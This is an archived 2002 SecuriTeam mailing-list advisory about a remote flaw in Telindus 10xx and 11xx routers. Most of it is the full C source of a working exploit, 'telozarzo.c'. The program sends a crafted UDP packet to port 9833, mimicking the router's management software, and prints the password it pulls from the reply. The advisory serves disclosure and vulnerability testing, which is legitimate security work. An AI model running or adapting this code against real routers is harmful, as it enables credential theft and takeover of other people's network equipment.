

[EXPL] Telindus Router 10xx and 11xx Remote Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0129.html>

From: support@securiteam.com

Date: 06/28/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 28 Jun 2002 08:34:33 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Telindus Router 10xx and 11xx Remote Exploit

SUMMARY

The 11xx router series by Telindus has a very serious remotely exploitable compromise, because an intruder may mimic the behavior of a desktop management application, thus getting control of the router. The following is an exploit code that can be used to test the mentioned vulnerability.

For more information, see our previous article:

<<http://www.securiteam.com/securitynews/5DP0A2K7GY.html>> Vulnerabilities

Found in Telindus 11xx Router Series

DETAILS

Exploit code:

```
/* telozarzo.c */
```

```
#include<sys/types.h>
```

```
#include<sys/socket.h>
```

```
#include<netinet/in.h>
```

```
#include<netinet/udp.h>
```

```
#include<arpa/inet.h>
```

```
#include<sys/time.h>
```

Securiteam: [EXPL] Telindus Router 10xx and 11xx Remote Exploit

```
#include<string.h>
#include<stdio.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>

#define BUFFER_SIZE 300

struct sockaddr sa;
struct sockaddr sf;
struct sockaddr *from;
struct sockaddr_in *p, *d;
int len;
int fd;
int sent,rcvd;
unsigned long start_ip;

char pass[32];
char str[10];
FILE *logfile;

struct timeval minutetimeout;
int TIMEOUT;

int numhost=0, numfound=0;
double per;

u_char data2recv[BUFFER_SIZE];
u_char data2sent[62]={
    0x19, 0x73, 0x04, 0x17, 0x73, 0x30, 0x00, 0x01,
    0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02,
    0x01, 0x33, 0x01, 0x13, 0x01, 0x16, 0x04, 0x08,
    0x04, 0x15, 0x01, 0x0D, 0x01, 0x0E, 0x01, 0x14,
    0x40, 0x03, 0x40, 0x04, 0x01, 0x26, 0x01, 0x27,
    0x01, 0x28, 0x01, 0x30, 0x01, 0x44, 0x42, 0x05,
    0x42, 0x22, 0x04, 0x18, 0xFF, 0xFF, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

void func_alarm_telindus (int s) {
    close(fd);
    return;
}

void exitnow () {
    close(fd);
    exit(2);
}

int checktelindus (unsigned long ip) {
```

```

int i=0;
char *s;

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
p->sin_port=htons(9833);
p->sin_addr.s_addr= htonl(ip);

d=(struct sockaddr_in*)&sf;
d->sin_family=AF_INET;
d->sin_port=htons(9833);
d->sin_addr.s_addr=INADDR_ANY;

minutetimeout.tv_sec = TIMEOUT;
minutetimeout.tv_usec = 0;

bzero (data2recv, sizeof (data2recv));

fd=socket(AF_INET,SOCK_DGRAM,0);

bind (fd, (struct sockaddr*)d, sizeof (struct sockaddr));
sent=sendto(fd,&data2sent,62,0,(struct sockaddr*)p,sizeof(struct
sockaddr));

signal(SIGALRM, func_alarm_telindus);
alarm(TIMEOUT);

if (recvfrom(fd,data2recv,BUFFER_SIZE,0,from,&len)<=0) {
    alarm(0);
    signal(SIGALRM,SIG_DFL);
    bzero (data2recv, sizeof (data2recv));
    return(-1);
}

s=data2recv;
while (i<5) {
    while ((*s++) != '\0'); i++;
}

if (*s == '\0') {
    printf ("pw vuota\n");
} else {
    strncpy (pass, ++s, strlen(s) -3 );
    printf ("pw: = %s \n", pass);
}
alarm(0);
signal(SIGALRM,SIG_DFL);
return (0);
}

```

Securiteam: [EXPL] Telindus Router 10xx and 11xx Remote Exploit

```
void usage (char *cmd) {
    printf ("\n%s ip\n", cmd);
    exit(1);
}

int main(int argc, char *argv[]) {

    if (argc != 2) usage(argv[0]);
    start_ip=inet_addr(argv[1]);

    signal(SIGINT, exitnow);
    signal(SIGTERM, exitnow);
    signal(SIGKILL, exitnow);
    signal(SIGQUIT, exitnow);

    checktelindus (ntohl(start_ip));

    return (0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:rubik@olografix.org>
Telindus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Lil' HTTP Server urlcount.cgi CSS"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)